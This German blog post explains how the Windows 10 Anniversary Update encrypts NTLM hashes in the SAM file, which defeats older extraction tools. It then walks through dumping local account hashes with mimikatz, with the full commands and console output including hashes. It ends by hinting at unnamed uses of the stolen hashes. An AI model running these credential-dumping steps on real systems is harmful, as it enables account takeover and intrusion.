loading...

09/11/2019

SAM & SYSTEM im Windows 10 Anniversary Update

Mit dem Anniversary Update von Windows 10, welches im August 2016 herausgebracht wurde, hatte Microsoft einige Änderungen am Betriebssystem vorgenommen, unter anderem auch wie die Hashes von Benutzerkonten abgelegt werden. Windows Hashes werden bekannterweise in der SAM Datei, verschlüsselt mittels der SYSTEM Datei, abgespeichert. Dies ist übrigens auch der Fall, wenn ihr einen Microsoft Online Account benutzt, denn wie sollt ihr euch ansonsten authentisieren, wenn ihr offline seid?

Die Extraktion des Passwort Hashes aus der SAM Datei ist nicht schwierig. Es existieren diverse freiverfügbare Tools, welche dies innert Sekunden für euch erledigen. Die gespeicherten Hashes werden seit Windows 7 im NTLM Format gespeichert, in vorherigen Versionen wurde noch das veraltete LM Format verwendet. In beiden Fällen sind die Berechnungen zum Knacken des Passworts einfach und können mit der entsprechenden Hardware sehr schnell erledigt werden. Beispielsweise ist eine RTX 2080 Ti  in der Lage 78438400000 NTLM Passwort Hashes pro Sekunde zu berechnen (78438.4 MH/s). Jetzt bin ich jedoch vom Thema abgewichen, denn es geht hier nicht darum, wie schnell man die entsprechenden Hashes berechnen kann..

Die Veränderung durch das Update

Microsoft hat nun eine zusätzliche Hürde, wenn auch nur eine sehr Kleine, eingebaut, um die Extraktion zu erschweren:

Die Passwörter werden immer noch in der SAM / SYSTEM Dateikombination abgespeichert, jedoch wird nun eine AES128 Verschlüsselung der MD4 Hashes vorgenommen.

Klingt erstmal nicht nach viel und war sicherlich längst überfällig, jedoch macht dies diverse Tools zur Extraktion der Passwort Hashes aus der SAM & SYSTEM Datei unbrauchbar. Folgende Tools könnt ihr nicht mehr verwenden um lokal gespeicherte Hashes zu extrahieren:

  • samdump2 [1]
  • pwdump [2]
  • bkhive [3]
  • chntpw [4]

Solltet ihr nachfolgenden Passwort Hash antreffen, wisst ihr, dass es sich hierbei um ein leeres Passwort handelt, respektive der Benutzer kein Passwort besitzt. Bei Windows 10 kann es aber bedeuten, dass das Anniversary Update installiert ist. Lasst euch also nicht in die Irre führen davon.

# Passwort Hash eines leeren resp. keines Passworts
31d6cfe0d16ae931b73c59d7e0c089c0

Um weiterhin erfolgreich den Passwort Hash zu extrahieren könnt ihr mimikatz[5] verwenden. Jedoch solltet ihr mimikatz auf Live-Systemen mit Vorsicht benutzen, da sämtliche aktuellen Anti-Viren Hersteller das Tool als «Hacking Tool» klassifiziert.

Vorgehen mit mimikatz

Damit die Extraktion gelingt müsst ihr mimikatz als Administrator auf dem System ausführen. Danach könnt ihr mit folgendem Vorgehen weiterhin erfolgreich den Hash extrahieren:

  .#####.   mimikatz 2.2.0 (x64) #18362 Aug 14 2019 01:31:47
 .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)
 ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
 ## \ / ##       > http://blog.gentilkiwi.com/mimikatz
 '## v ##'       Vincent LE TOUX             ( vincent.letoux@gmail.com )
  '#####'        > http://pingcastle.com / http://mysmartlogon.com   ***/

mimikatz # privilege::debug
Privilege '20' OK

mimikatz # token::whoami
 * Process Token : {0;00032867} 1 F 13039181    DESKTOP-CSBMZT1\Administrator S-1-5-21-471061265-2319229277-405062311-1001    (14g,24p)       Primary
 * Thread Token  : no token

mimikatz # token::elevate
Token Id  : 0
User name :
SID name  : NT AUTHORITY\SYSTEM

536     {0;000003e7} 1 D 40647          NT AUTHORITY\SYSTEM     S-1-5-18        (04g,21p)       Primary
 -> Impersonated !
 * Process Token : {0;00032867} 1 F 13039181    DESKTOP-CSBMZT1\Administrator S-1-5-21-471061265-2319229277-405062311-1001    (14g,24p)       Primary
 * Thread Token  : {0;000003e7} 1 D 13179554    NT AUTHORITY\SYSTEM     S-1-5-18        (04g,21p)       Impersonation (Delegation)

mimikatz # lsadump::sam
Domain : DESKTOP-CSBMZT1
SysKey : e7d6686310c5a7ed7h6e678e48fc5ef9
Local SID : S-1-5-21-471061265-2319629277-405062311

SAMKey : 267a464362986b118f0375b434930016

RID  : 000001f4 (500)
User : Administrator

RID  : 000001f5 (501)
User : Guest

RID  : 000001f7 (503)
User : DefaultAccount

RID  : 000001f8 (504)
User : WDAGUtilityAccount
  Hash NTLM: 38d442c9f0d1ca495e50eed3e73708b0

RID  : 000003ea (1002)
User : Benutzer
  Hash NTLM: f1d288e673caf455978a52448a0fdd88

Bereits besitzt man nun die NTLM Hashes der Benutzer, welche lokal gespeichert sind und kann diese verwenden. Für was genau überlasse ich eurer Fantasie.

Referenzen
[1]
https://linux.die.net/man/1/samdump2
[2]
https://en.wikipedia.org/wiki/Pwdump
[3]
https://samsclass.info/124/proj14/bkhive.htm
[4]
https://en.wikipedia.org/wiki/Chntpw
[5]
https://github.com/gentilkiwi/mimikatz

Posted in WindowsTaggs:
Write a comment